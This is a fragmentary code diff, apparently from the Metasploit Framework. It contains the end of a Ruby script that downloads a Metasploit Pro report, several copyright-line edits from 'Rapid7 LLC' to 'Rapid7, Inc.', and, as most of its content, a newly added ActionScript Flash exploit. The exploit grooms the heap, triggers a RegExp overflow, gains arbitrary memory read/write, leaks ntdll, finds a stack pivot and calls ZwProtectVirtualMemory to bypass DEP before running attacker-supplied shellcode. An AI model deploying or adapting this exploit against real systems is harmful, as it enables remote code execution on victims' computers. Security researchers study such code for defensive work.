|
||||||
rtype = opts[:format]
|
|
||||||
user = @rpc.call("pro.default_admin_user")['username']
|
|
||||||
|
|
||||||
task = @rpc.call("pro.start_report", {
|
|
||||||
'DS_WHITELIST_HOSTS' => "",
|
|
||||||
'DS_BLACKLIST_HOSTS' => "",
|
|
||||||
'workspace' => project,
|
|
||||||
'username' => user,
|
|
||||||
'DS_MaskPasswords' => false,
|
|
||||||
'DS_IncludeTaskLog' => false,
|
|
||||||
'DS_JasperDisplaySession' => true,
|
|
||||||
'DS_JasperDisplayCharts' => true,
|
|
||||||
'DS_LootExcludeScreenshots' => false,
|
|
||||||
'DS_LootExcludePasswords' => false,
|
|
||||||
'DS_JasperTemplate' => "msfxv3.jrxml",
|
|
||||||
'DS_REPORT_TYPE' => rtype.upcase,
|
|
||||||
'DS_UseJasper' => true,
|
|
||||||
'DS_UseCustomReporting' => true,
|
|
||||||
'DS_JasperProductName' => "Metasploit Pro",
|
|
||||||
'DS_JasperDbEnv' => "production",
|
|
||||||
'DS_JasperLogo' => '',
|
|
||||||
'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8",
|
|
||||||
'DS_EnablePCIReport' => true,
|
|
||||||
'DS_EnableFISMAReport' => true,
|
|
||||||
'DS_JasperDisplayWeb' => true,
|
|
||||||
})
|
|
||||||
|
|
||||||
|
|
||||||
if not task['task_id']
|
|
||||||
$stderr.puts "[-] Error generating the report: #{task.inspect}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "[*] Report is generating with Task ID #{task['task_id']}..."
|
|
||||||
while true
|
|
||||||
select(nil, nil, nil, 0.50)
|
|
||||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
|
||||||
if stat['status'] == 'invalid'
|
|
||||||
$stderr.puts "[-] Error checking task status"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
info = stat[ task['task_id'] ]
|
|
||||||
|
|
||||||
if not info
|
|
||||||
$stderr.puts "[-] Error finding the task"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
if info['status'] == "error"
|
|
||||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
break if info['progress'] == 100
|
|
||||||
end
|
|
||||||
|
|
||||||
report = @rpc.call('pro.report_download_by_task', task['task_id'])
|
|
||||||
if report and report['data']
|
|
||||||
::File.open(fname, "wb") do |fd|
|
|
||||||
fd.write(report['data'])
|
|
||||||
end
|
|
||||||
$stderr.puts "[-] Report saved to #{::File.expand_path(fname)}"
|
|
||||||
else
|
|
||||||
$stderr.puts "[-] Error downloading report: #{report.inspect}"
|
|
||||||
end
|
|
||||||
|
|
|
@ -878,7 +878,7 @@ The Metasploit Framework is distributed under the modified-BSD license defined b
|
||||||
|
|
||||||
{\footnotesize
|
{\footnotesize
|
||||||
\begin{verbatim}
|
\begin{verbatim}
|
||||||
Copyright (c) 2008, Rapid7 LLC
|
Copyright (c) 2008, Rapid7, Inc.
|
||||||
All rights reserved.
|
All rights reserved.
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without modification,
|
Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
@ -891,7 +891,7 @@ are permitted provided that the following conditions are met:
|
||||||
this list of conditions and the following disclaimer in the documentation
|
this list of conditions and the following disclaimer in the documentation
|
||||||
and/or other materials provided with the distribution.
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||||
may be used to endorse or promote products derived from this software
|
may be used to endorse or promote products derived from this software
|
||||||
without specific prior written permission.
|
without specific prior written permission.
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
/*
|
/*
|
||||||
ruby-kissfft: a simple ruby module embedding the Kiss FFT library
|
ruby-kissfft: a simple ruby module embedding the Kiss FFT library
|
||||||
Copyright (C) 2009-2010 Rapid7 LLC - H D Moore <hdm[at]metasploit.com>
|
Copyright (C) 2009-2010 Rapid7, Inc - H D Moore <hdm[at]metasploit.com>
|
||||||
|
|
||||||
Derived from "psdpng.c" from the KissFFT tools directory
|
Derived from "psdpng.c" from the KissFFT tools directory
|
||||||
Copyright (C) 2003-2006 Mark Borgerding
|
Copyright (C) 2003-2006 Mark Borgerding
|
||||||
|
|
|
@ -33,7 +33,7 @@
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/*
|
/*
|
||||||
All ruby-lorcon/rubyisms are by Rapid7 LLC (C) 2006-2007
|
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
|
||||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
|
|
@ -37,7 +37,7 @@
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/*
|
/*
|
||||||
All ruby-lorcon/rubyisms are by Metasploit LLC (C) 2006-2007
|
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
|
||||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */
|
/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */
|
||||||
|
|
||||||
var oFso = new ActiveXObject("Scripting.FileSystemObject");
|
var oFso = new ActiveXObject("Scripting.FileSystemObject");
|
||||||
var oShl = new ActiveXObject("WScript.Shell");
|
var oShl = new ActiveXObject("WScript.Shell");
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */
|
/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */
|
||||||
|
|
||||||
function print_status(msg) {
|
function print_status(msg) {
|
||||||
try {
|
try {
|
||||||
|
|
|
@ -0,0 +1,545 @@
|
||||||
|
// Compile with: mxmlc exploit.as -o exploit.swf
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite;
|
||||||
|
import flash.media.Sound;
|
||||||
|
import flash.utils.ByteArray;
|
||||||
|
import __AS3__.vec.Vector;
|
||||||
|
import flash.display.LoaderInfo;
|
||||||
|
import flash.system.Capabilities;
|
||||||
|
import flash.utils.Endian;
|
||||||
|
import __AS3__.vec.*;
|
||||||
|
import flash.utils.*;
|
||||||
|
import flash.display.*;
|
||||||
|
import flash.media.*;
|
||||||
|
import flash.system.*;
|
||||||
|
import flash.external.*;
|
||||||
|
import flash.net.*;
|
||||||
|
|
||||||
|
public class exploit extends Sprite
|
||||||
|
{
|
||||||
|
public var flash_version:Number;
|
||||||
|
public var sound_object:Sound;
|
||||||
|
public var byte_array:ByteArray;
|
||||||
|
public var massaged_memory:Vector.<Object>;
|
||||||
|
public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
|
||||||
|
public var TweakedVector:Vector.<Number>;
|
||||||
|
public var TweakedVector_address:uint;
|
||||||
|
public var sound_address:uint;
|
||||||
|
public var sound_address_vtable:uint;
|
||||||
|
public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
|
||||||
|
public var byte_array_data_address:uint;
|
||||||
|
public var ntdll_base:uint;
|
||||||
|
public var ntdll_pe_file_header:uint;
|
||||||
|
public var stack_pivot:uint;
|
||||||
|
public var virtual_alloc_address:uint;
|
||||||
|
public var last_leaked_address:uint;
|
||||||
|
public var last_leak:Vector.<uint>;
|
||||||
|
|
||||||
|
public function exploit():void
|
||||||
|
{
|
||||||
|
this.sound_object = new Sound();
|
||||||
|
this.byte_array = new ByteArray();
|
||||||
|
this.massaged_memory = new Vector.<Object>(0);
|
||||||
|
this.last_leak = new Vector.<uint>(2);
|
||||||
|
super();
|
||||||
|
var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
|
||||||
|
var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
|
||||||
|
if (shellcode == null){
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
if (!this.CheckVersion()){
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
this.ExploitIt(shellcode);
|
||||||
|
this.Restore();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function CheckVersion():Boolean
|
||||||
|
{
|
||||||
|
var capabilities:* = Capabilities.version.toLowerCase().split(" ");
|
||||||
|
if (capabilities[0] != "win"){
|
||||||
|
return (false);
|
||||||
|
};
|
||||||
|
this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
|
||||||
|
if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
|
||||||
|
return (false);
|
||||||
|
};
|
||||||
|
return (true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function PrepareMemoryAndOverflow():RegExp
|
||||||
|
{
|
||||||
|
var index:uint;
|
||||||
|
var tmp_vector:Vector.<Object>;
|
||||||
|
index = 0;
|
||||||
|
|
||||||
|
while (index < 0x4000) {
|
||||||
|
tmp_vector = new Vector.<Object>(16);
|
||||||
|
tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
|
||||||
|
tmp_vector[1] = this.CreateVectorSixteenNumbers();
|
||||||
|
tmp_vector[2] = this.CreateVectorSixteenNumbers();
|
||||||
|
tmp_vector[3] = this.CreateVectorSixteenNumbers();
|
||||||
|
tmp_vector[4] = this.CreateVectorSixteenNumbers();
|
||||||
|
tmp_vector[5] = this.CreateVectorSixteenNumbers();
|
||||||
|
tmp_vector[6] = this.CreateVectorSixteenNumbers();
|
||||||
|
tmp_vector[7] = this.CreateVectorSixteenNumbers();
|
||||||
|
tmp_vector[8] = this.CreateVectorSixteenNumbers();
|
||||||
|
tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
|
||||||
|
tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
|
||||||
|
tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
|
||||||
|
tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
|
||||||
|
tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
|
||||||
|
tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
|
||||||
|
tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
|
||||||
|
this.massaged_memory[index] = tmp_vector;
|
||||||
|
index++;
|
||||||
|
};
|
||||||
|
index = 0x2000;
|
||||||
|
|
||||||
|
// Make some holes
|
||||||
|
while (index < 0x3fff) {
|
||||||
|
if ((index % 2) != 0){
|
||||||
|
this.massaged_memory[index][2] = null;
|
||||||
|
};
|
||||||
|
index++;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Hopefully reuse a hole and overflow a tmp_vector[3] field
|
||||||
|
return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function SearchOverflowedTweakAndRestore():Boolean
|
||||||
|
{
|
||||||
|
var index:uint;
|
||||||
|
var numbers_vector_index:uint;
|
||||||
|
var overflowed_vector:Vector.<Number>;
|
||||||
|
var fingerprint:Number;
|
||||||
|
index = 0;
|
||||||
|
_loop_1:
|
||||||
|
while (index < 0x4000) {
|
||||||
|
numbers_vector_index = 1;
|
||||||
|
while (numbers_vector_index < 9) {
|
||||||
|
try {
|
||||||
|
// If the length is bigger than 17, the vector's length has been overflowed
|
||||||
|
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
|
||||||
|
overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
|
||||||
|
if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
|
||||||
|
break _loop_1;
|
||||||
|
}
|
||||||
|
return (false);
|
||||||
|
};
|
||||||
|
} catch(e:Error) {
|
||||||
|
};
|
||||||
|
numbers_vector_index++;
|
||||||
|
};
|
||||||
|
index++;
|
||||||
|
};
|
||||||
|
|
||||||
|
if (overflowed_vector){
|
||||||
|
this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
|
||||||
|
// Overwrite the length of the vector following the overflowed one:
|
||||||
|
// reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector
|
||||||
|
overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
|
||||||
|
// corrupts the first position of the corrupted (tweaked) vector, so we can find it
|
||||||
|
// in the future easily.
|
||||||
|
fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));
|
||||||
|
index = 0;
|
||||||
|
while (index < 0x4000) {
|
||||||
|
numbers_vector_index = 1;
|
||||||
|
while (numbers_vector_index < 9) {
|
||||||
|
try {
|
||||||
|
// restore the overflowed vector's length
|
||||||
|
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
|
||||||
|
this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
|
||||||
|
this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
|
||||||
|
return (true);
|
||||||
|
};
|
||||||
|
} catch(e:Error) {
|
||||||
|
};
|
||||||
|
numbers_vector_index++;
|
||||||
|
};
|
||||||
|
index++;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
return (false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function Restore():void
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
if (((this.TweakedVector) && (this.vector_object_offset_4))){
|
||||||
|
if (((this.sound_address) && (this.sound_address_vtable))){
|
||||||
|
this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
|
||||||
|
};
|
||||||
|
this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
} catch(e:Error) {
|
||||||
|
};
|
||||||
|
do {
|
||||||
|
} while (1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function GetAddressTweakedVector():Boolean
|
||||||
|
{
|
||||||
|
var index:uint;
|
||||||
|
var index_numbers_vectors:uint;
|
||||||
|
var tweaked_next:Vector.<uint>;
|
||||||
|
var tweaked_next_next:Vector.<uint>;
|
||||||
|
try {
|
||||||
|
index = 0;
|
||||||
|
// Nullify (free) number vectors who aren't the tweaked one
|
||||||
|
while (index < 0x4000) {
|
||||||
|
index_numbers_vectors = 1;
|
||||||
|
while (index_numbers_vectors < 9) {
|
||||||
|
if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
|
||||||
|
this.massaged_memory[index][index_numbers_vectors] = null;
|
||||||
|
};
|
||||||
|
index_numbers_vectors++;
|
||||||
|
};
|
||||||
|
index++;
|
||||||
|
};
|
||||||
|
index = 1;
|
||||||
|
while (index < 4) {
|
||||||
|
tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
|
||||||
|
tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
|
||||||
|
// Verify that after the tweaked vector there are two more number vectors
|
||||||
|
// With the tweaked vector it is kinda easy to disclose its own address, becasuse
|
||||||
|
// Flash links vectors, so there are pointers.
|
||||||
|
if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
|
||||||
|
this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
|
||||||
|
return (true);
|
||||||
|
};
|
||||||
|
index++;
|
||||||
|
};
|
||||||
|
} catch(e:Error) {
|
||||||
|
};
|
||||||
|
return (false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function LeakObjectAddresses():Boolean
|
||||||
|
{
|
||||||
|
var one_signature:Number;
|
||||||
|
var i:uint;
|
||||||
|
var objects_leak:Vector.<uint>;
|
||||||
|
var byte_array_address:uint;
|
||||||
|
try {
|
||||||
|
one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
|
||||||
|
i = 0;
|
||||||
|
while (i < 0x1000) {
|
||||||
|
// Search first objects vector entry from the tweaked one (from the massaged memory...)
|
||||||
|
if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
|
||||||
|
//objects_leak[0] => ByteArray object
|
||||||
|
//objects_leak[1] => Sound object
|
||||||
|
objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
|
||||||
|
|
||||||
|
this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
|
||||||
|
this.sound_address_vtable = this.Leak(this.sound_address, true);
|
||||||
|
this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
|
||||||
|
|
||||||
|
byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
|
||||||
|
|
||||||
|
if (this.flash_version < 114){
|
||||||
|
this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
|
||||||
|
|
||||||
|
} else {
|
||||||
|
byte_array_address = this.Leak((byte_array_address + 64), true);
|
||||||
|
this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
|
||||||
|
};
|
||||||
|
return (true);
|
||||||
|
};
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
} catch(e:Error) {
|
||||||
|
};
|
||||||
|
return (false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function Leak(address:uint, align:Boolean):uint
|
||||||
|
{
|
||||||
|
var eigth_byte_aligned:uint;
|
||||||
|
if (align) {
|
||||||
|
eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
|
||||||
|
} else {
|
||||||
|
eigth_byte_aligned = 0;
|
||||||
|
}
|
||||||
|
if (eigth_byte_aligned){
|
||||||
|
address = (address - 4);
|
||||||
|
};
|
||||||
|
if (this.last_leaked_address == address){
|
||||||
|
return (this.last_leak[eigth_byte_aligned]);
|
||||||
|
};
|
||||||
|
var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
|
||||||
|
this.last_leaked_address = address;
|
||||||
|
this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
|
||||||
|
return (this.last_leak[eigth_byte_aligned]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
|
||||||
|
{
|
||||||
|
var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
|
||||||
|
this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function LeakNtdll():Boolean
|
||||||
|
{
|
||||||
|
var ntdll_address:uint;
|
||||||
|
var KiFastSystemCall_address:uint;
|
||||||
|
var pe_file_header_address:uint;
|
||||||
|
try {
|
||||||
|
//KiFastSystemCallRet
|
||||||
|
KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
|
||||||
|
if (KiFastSystemCall_address == 0){
|
||||||
|
KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
|
||||||
|
};
|
||||||
|
if (KiFastSystemCall_address){
|
||||||
|
KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
|
||||||
|
while (1) {
|
||||||
|
if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
|
||||||
|
ntdll_address = KiFastSystemCall_address;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
|
||||||
|
};
|
||||||
|
if (ntdll_address){
|
||||||
|
pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
|
||||||
|
if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
|
||||||
|
this.ntdll_base = ntdll_address;
|
||||||
|
this.ntdll_pe_file_header = pe_file_header_address;
|
||||||
|
return (true);
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
} catch(e:Error) {
|
||||||
|
};
|
||||||
|
return (false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
|
||||||
|
{
|
||||||
|
var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
|
||||||
|
var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
|
||||||
|
return ((_local_5 | _local_4));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function FindStackPivot():Boolean
|
||||||
|
{
|
||||||
|
var ntdll_size_of_code:uint;
|
||||||
|
var ntdll_base_of_code:uint;
|
||||||
|
var instr:uint;
|
||||||
|
var offset:uint;
|
||||||
|
var next_instr:uint;
|
||||||
|
var instr_offset:uint;
|
||||||
|
try {
|
||||||
|
ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
|
||||||
|
ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
|
||||||
|
if (((ntdll_size_of_code) && (ntdll_base_of_code))){
|
||||||
|
ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
|
||||||
|
instr = this.Leak(ntdll_base_of_code, true);
|
||||||
|
offset = 4;
|
||||||
|
while (offset < ntdll_size_of_code) {
|
||||||
|
next_instr = this.Leak((ntdll_base_of_code + offset), true);
|
||||||
|
instr_offset = 0;
|
||||||
|
while (instr_offset < 4) {
|
||||||
|
if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
|
||||||
|
this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
|
||||||
|
return (true);
|
||||||
|
};
|
||||||
|
instr_offset++;
|
||||||
|
};
|
||||||
|
instr = next_instr;
|
||||||
|
offset = (offset + 4);
|
||||||
|
};
|
||||||
|
};
|
||||||
|
} catch(e:Error) {
|
||||||
|
};
|
||||||
|
return (false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
|
||||||
|
{
|
||||||
|
var content_next:uint;
|
||||||
|
var content:uint = this.Leak(address, true);
|
||||||
|
var i:uint;
|
||||||
|
while (i < signature.length) {
|
||||||
|
content_next = this.Leak((address + ((i + 1) * 4)), true);
|
||||||
|
if (this.GetUint(content, content_next, offset) != signature[i]){
|
||||||
|
return (false);
|
||||||
|
};
|
||||||
|
content = content_next;
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
return (true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function LeakVirtualProtect():Boolean
|
||||||
|
{
|
||||||
|
var exports_address:uint;
|
||||||
|
var virtual_protect_signature:Vector.<uint>;
|
||||||
|
var n_functions:uint;
|
||||||
|
var ptrs_entry:uint;
|
||||||
|
var ptrs_name:uint;
|
||||||
|
var ptrs_ordinal:uint;
|
||||||
|
var i:uint;
|
||||||
|
var export_name_entry:uint;
|
||||||
|
var offset_export_name_entry:uint;
|
||||||
|
var _local_10:uint;
|
||||||
|
|
||||||
|
try {
|
||||||
|
exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
|
||||||
|
if (exports_address){
|
||||||
|
exports_address = (exports_address + this.ntdll_base);
|
||||||
|
virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
|
||||||
|
n_functions = this.Leak((exports_address + 24), true);
|
||||||
|
ptrs_entry = this.Leak((exports_address + 28), true);
|
||||||
|
ptrs_name = this.Leak((exports_address + 32), true);
|
||||||
|
ptrs_ordinal = this.Leak((exports_address + 36), true);
|
||||||
|
if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
|
||||||
|
ptrs_entry = (ptrs_entry + this.ntdll_base);
|
||||||
|
ptrs_name = (ptrs_name + this.ntdll_base);
|
||||||
|
ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
|
||||||
|
i = 0;
|
||||||
|
while (i < n_functions) {
|
||||||
|
export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
|
||||||
|
if (export_name_entry){
|
||||||
|
export_name_entry = (export_name_entry + this.ntdll_base);
|
||||||
|
offset_export_name_entry = (export_name_entry % 4);
|
||||||
|
export_name_entry = (export_name_entry - offset_export_name_entry);
|
||||||
|
if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
|
||||||
|
_local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);
|
||||||
|
if ((i % 2)){
|
||||||
|
_local_10 = (_local_10 >>> 16);
|
||||||
|
};
|
||||||
|
|
||||||
|
this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
|
||||||
|
return (true);
|
||||||
|
};
|
||||||
|
};
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
} catch(e:Error) {
|
||||||
|
};
|
||||||
|
return (false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function ExploitIt(shellcode:String):void
|
||||||
|
{
|
||||||
|
var not_used:* = this.PrepareMemoryAndOverflow();
|
||||||
|
if (!this.SearchOverflowedTweakAndRestore()){
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
if (!this.GetAddressTweakedVector()){
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
if (!this.LeakNtdll()){
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
if (!this.FindStackPivot()){
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
if (!this.LeakVirtualProtect()){
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
var i:uint;
|
||||||
|
while (i < 0x19000) {
|
||||||
|
this.byte_array.writeUnsignedInt(0x41424344);
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
this.byte_array.endian = Endian.LITTLE_ENDIAN;
|
||||||
|
var init_pos:uint = this.byte_array.position;
|
||||||
|
|
||||||
|
// Write shellcode into the byte array
|
||||||
|
this.byte_array.position = (init_pos + 136);
|
||||||
|
this.write_into_byte_array(this.byte_array, shellcode);
|
||||||
|
|
||||||
|
// Write stack pivot into the byte array
|
||||||
|
this.byte_array.position = (init_pos + 112);
|
||||||
|
this.byte_array.writeUnsignedInt(this.stack_pivot);
|
||||||
|
|
||||||
|
if (!this.LeakObjectAddresses()){
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
|
||||||
|
this.byte_array_data_address = (this.byte_array_data_address + init_pos);
|
||||||
|
this.byte_array.position = init_pos;
|
||||||
|
|
||||||
|
// build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
|
||||||
|
this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory
|
||||||
|
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
|
||||||
|
this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle
|
||||||
|
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress
|
||||||
|
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect
|
||||||
|
this.byte_array.writeUnsignedInt(64); // NewAccessProtection
|
||||||
|
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection
|
||||||
|
this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28
|
||||||
|
this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32
|
||||||
|
this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36
|
||||||
|
|
||||||
|
// Overwrite Sound...
|
||||||
|
this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
|
||||||
|
|
||||||
|
// Make it happen!
|
||||||
|
new Number(this.sound_object.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
private function write_into_byte_array(byte_array:ByteArray, string:String):void
|
||||||
|
{
|
||||||
|
var _local_4:String;
|
||||||
|
var _local_5:int;
|
||||||
|
var _local_3:int;
|
||||||
|
while (_local_3 < string.length) {
|
||||||
|
_local_4 = string.substr(_local_3, 2);
|
||||||
|
_local_5 = parseInt(_local_4, 16);
|
||||||
|
byte_array.writeByte(_local_5);
|
||||||
|
_local_3 = (_local_3 + 2);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
|
||||||
|
{
|
||||||
|
var result_float:ByteArray = new ByteArray();
|
||||||
|
result_float.endian = Endian.LITTLE_ENDIAN;
|
||||||
|
result_float.writeInt(_arg_1);
|
||||||
|
result_float.writeInt(_arg_2);
|
||||||
|
result_float.position = 0;
|
||||||
|
return (result_float.readDouble());
|
||||||
|
}
|
||||||
|
|
||||||
|
// vector is a Float vectors
|
||||||
|
// index is the position to read from the vector
|
||||||
|
// read the vector[index] float i retorna els dos enters
|
||||||
|
// ocupant les dues posiciones
|
||||||
|
private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
|
||||||
|
{
|
||||||
|
var byte_array:ByteArray = new ByteArray();
|
||||||
|
byte_array.endian = Endian.BIG_ENDIAN;
|
||||||
|
byte_array.writeDouble(vector[index]);
|
||||||
|
var vector_uint:Vector.<uint> = new Vector.<uint>(2);
|
||||||
|
byte_array.position = 0;
|
||||||
|
vector_uint[1] = byte_array.readUnsignedInt();
|
||||||
|
vector_uint[0] = byte_array.readUnsignedInt();
|
||||||
|
return (vector_uint);
|
||||||
|
}
|
||||||
|
|
||||||
|
